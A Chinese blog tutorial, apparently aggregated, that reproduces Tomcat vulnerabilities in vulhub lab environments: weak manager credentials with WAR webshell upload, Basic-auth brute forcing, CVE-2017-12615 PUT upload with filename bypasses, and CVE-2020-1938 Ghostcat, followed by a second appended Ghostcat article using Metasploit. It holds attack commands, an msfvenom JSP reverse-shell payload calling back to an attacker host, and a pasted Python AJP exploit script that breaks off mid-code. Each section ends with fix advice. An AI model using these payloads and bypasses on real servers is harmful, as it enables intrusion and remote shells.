tomcat中间件漏洞复现
Posted super 硕
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了tomcat中间件漏洞复现相关的知识,希望对你有一定的参考价值。
tomcat中间件漏洞复现
tomcat介绍
Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应html(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
诀窍是,当配置正确时,Apache 为HTML页面服务,而Tomcat 实际上运行JSP 页面和Servlet。另外,Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不过,Tomcat处理静态HTML的能力不如Apache服务器。目前Tomcat最新版本为10.0.5。
弱口令&war远程部署
漏洞描述
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台
漏洞复现
使用vulhub搭建漏洞环境
访问http://your-ip:8080
点击Manager App
,输入tomcat/tomcat
即可登入后台
找到上传文件的位置
使用哥斯拉生成一个木马,并打包成war包
jar -cvf shell.war .\\shell.jsp
返回后台文件上传的位置,进行上传
可以看到文件已成功上传
访问一下上传木马的目录
没有报错,应该是成功上传了,使用哥斯拉进行连接
成功getshell
修复建议
1 删除webapps目录中的docs、examples、host-manager、manager等正式环境用不着的目录
2 管理员尽量不使用弱口令
3 设置该网页只能本机可以访问
manager App暴力破解
漏洞描述
后台密码用base64编码传输,抓包解密即可得到后台密码,也可以进行爆破
漏洞复现
继续使用上面的“弱口令&war远程部署”环境进行复现
来到页面首页,点击Manager App
,随意输入账号密码进行抓包
将Basic后面的值作为要爆破的字段
爆破方式选择Custom iterator
先输入要爆破的账号名
然后以冒号进行分隔,注意为英文冒号
然后输入爆破的密码
从抓到的包很容易看出为base64加密,所以这里爆破加密方式选择base64加密
最后把URL编码的勾给取消掉
点击Start attack开始爆破
将爆破出来的结果进行一下base64解码即可
修复建议
修改密码为强密码,限制登录次数,设置登录白名单
CVE-2017-12615
漏洞描述
由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传
根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码
通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控
漏洞影响版本
Tomcat 7.0.0-7.0.81
漏洞复现
使用vulhub进行环境搭建
访问http://your-ip:8080
进入docker
里查看一下web.xml
的代码,可以看到这里readonly
设置为false
,所以存在漏洞
在首页进行抓包
尝试使用PUT协议上传一个文件
可以看到在docker容器中文件已成功上传
尝试上传jsp木马
这里发现上次失败了,限制了jsp后缀的上传
这里可以使用三种方式进行绕过
1.Windows下不允许文件以空格结尾以PUT /1.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流Put/1.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的,也会被去除(Linux/Windows)Put/1.jsp/http:/1.1
首先使用%20
进行绕过
可以看到已成功上传
使用/
进行绕过
在docker容器中发现目标已成功上传
使用::$DATA
进行绕过
在docker容器中发现已成功上传
随意挑选一个木马进行连接,当然这里还是要以实际操作系统为主,例如::$DATA
在Linux系统肯定是不能连接的
成功getshell
修复建议
将readonly设置为true,设为false就是允许用户使用PUT和deleate方法
CVE-2020-1938
漏洞描述
CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。
此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
漏洞复现
使用vulhub的环境进行搭建
访问http://your-ip:8080
下载POC利用脚本
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
进入文件夹,输入命令进行攻击,注意这里为python2
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.211.55.2 -p 8009 -f /WEB-INF/web.xml
成功读取文件信息,尝试进行getshell
使用msfvenom生成一个木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.4 LPORT=4444 > shell.txt
将这个文件直接上传到docker容器里,所以此漏洞在真实环境中想要getshell必须要有文件上传的地方
可以看到文件已成功上传至docker容器
上面那个POC只能查看文件内容,想getshell需要用到以下代码,注意,这里为python3环境
#!/usr/bin/env python
# CNVD-2020-10487 Tomcat-Ajp lfi
# by ydhcui
import struct
import io
import base64
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \\0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
28)
REQUEST_METHODS = 'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
'TRACE': TRACE
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
"SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
"SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
"ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = io.StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers =
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \\0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers =
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \\0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length + 1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers =
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
Tomcat中间件漏洞
Tomcat中间件漏洞
-漏洞信息-
漏洞cve编码
cve-2020-1938
漏洞危害
远程读取站点中的文件,泄露服务器中的关键信息。
软件版本
Tomcat 9.0.0.M1 - 9.0.0.30,8.5.0 - 8.5.50 和7.0.0 - 7.0.99
-漏洞复现-
文章中使用到的tomcat版本为8.5.0,环境使用docker搭建,在tomcat ROOT目录存放了关键信息flag.xx。
环境配置
攻击机:kali 2021.1
我的服务器已经安装好了docker的环境,不了解的同学可以到官网学习ubuntu 安装docker。
下载镜像tomcat8.5.0
创建Dockerfile配置环境
tomcat.xml配置tomcat用户,manager.xml配置tomcat允许远程管理。
tomcat-user.xml
manager.xml
使用到的文件
构建镜像
运行镜像
环境配置成功
漏洞利用
使用msfconsole中的模块
auxiliary(admin/http/tomcat_ghostcat)利用漏洞。
显示模块参数
配置参数
flag.xx文件读取成功
-漏洞修复-
方式一
关闭AJPConnector
删除或注释下面内容。
方式二
升级tomcat至 9.0.31以上或8.5.51以上。
米好信安
给您心安
以上是关于tomcat中间件漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章